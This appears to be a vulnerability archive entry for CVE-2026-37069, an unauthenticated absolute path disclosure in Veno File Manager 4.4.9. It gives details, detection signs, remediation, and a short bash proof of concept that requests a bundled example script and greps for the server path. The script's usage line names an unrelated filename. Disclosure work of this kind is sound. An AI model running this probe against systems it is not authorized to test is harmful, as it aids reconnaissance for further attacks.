PoC Archive PoC Archive
Low CVE-2026-37069 unpatched

Veno File Manager Absolute Path Disclosure (CVE-2026-37069)

by jfs-jfs · 2026-07-05

Severity
Low
CVE
CVE-2026-37069
Category
web
Affected product
Veno File Manager Project
Affected versions
4.4.9
Disclosed
2026-07-05
Patch status
unpatched

Archive entry

intelseclab/poc-archive

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherjfs-jfs
CVE / AdvisoryCVE-2026-37069
Categoryweb
SeverityLow
CVSS ScoreNot specified in source
StatusPoC
Tagsveno-file-manager, path-disclosure, unauthenticated, information-disclosure, cwe-200
RelatedN/A

Affected Target

FieldValue
Software / SystemVeno File Manager Project
Versions Affected4.4.9
Language / PlatformBash PoC
Authentication RequiredNo
Network Access RequiredYes (HTTP to vfm-admin interface)

Summary

Absolute path disclosure in /vfm-admin/assets/zipstream/grandt/relativepath/RelativePath.Example1.php in Veno File Manager Project 4.4.9 allows an unauthenticated attacker to learn the system directory in which the application code is running by sending a GET request to the endpoint.

Vulnerability Details

Root Cause

The example/debug script RelativePath.Example1.php discloses the server’s absolute filesystem path in its output without requiring authentication.

Attack Vector

  1. Send an unauthenticated GET request to /vfm-admin/assets/zipstream/grandt/relativepath/RelativePath.Example1.php.
  2. The response reveals the absolute filesystem path of the application installation.

Impact

Information disclosure of the server’s absolute installation path, aiding further targeted attacks (e.g. path-dependent exploits).

Environment / Lab Setup

Target:   Veno File Manager Project 4.4.9
Attacker: Any HTTP client (curl/browser)

Proof of Concept

PoC Script

See PoC.sh in this folder.

1

./PoC.sh <target-url>

Sends the unauthenticated GET request and extracts the disclosed absolute server path from the response.

Detection & Indicators of Compromise

Signs of compromise:

  • Unauthenticated GET requests to RelativePath.Example1.php

Remediation

ActionDetail
Primary fixUpdate Veno File Manager to a version that removes or restricts access to the example/debug script
Interim mitigationRemove or block access to bundled third-party example/debug scripts under /vfm-admin/assets/

References

Notes

Mirrored from https://github.com/jfs-jfs/CVE-2026-37069 on 2026-07-05.

PoC.sh
bash raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

#!/usr/bin/env bash

##########################################################
########### UNAUTHENTICATED ROOT DIR DISCLOSURE ##########
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit unveils the system root directory where the
# application is installed

# - Parameter $1 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]]; then
  echo "[ USAGE ] :: ./unauth-superadmin-takeover.sh <url toroot of vfm installation>/"
  exit 1
fi

curl "$1/vfm-admin/assets/zipstream/grandt/relativepath/RelativePath.Example1.php" 2>/dev/null | grep docRoot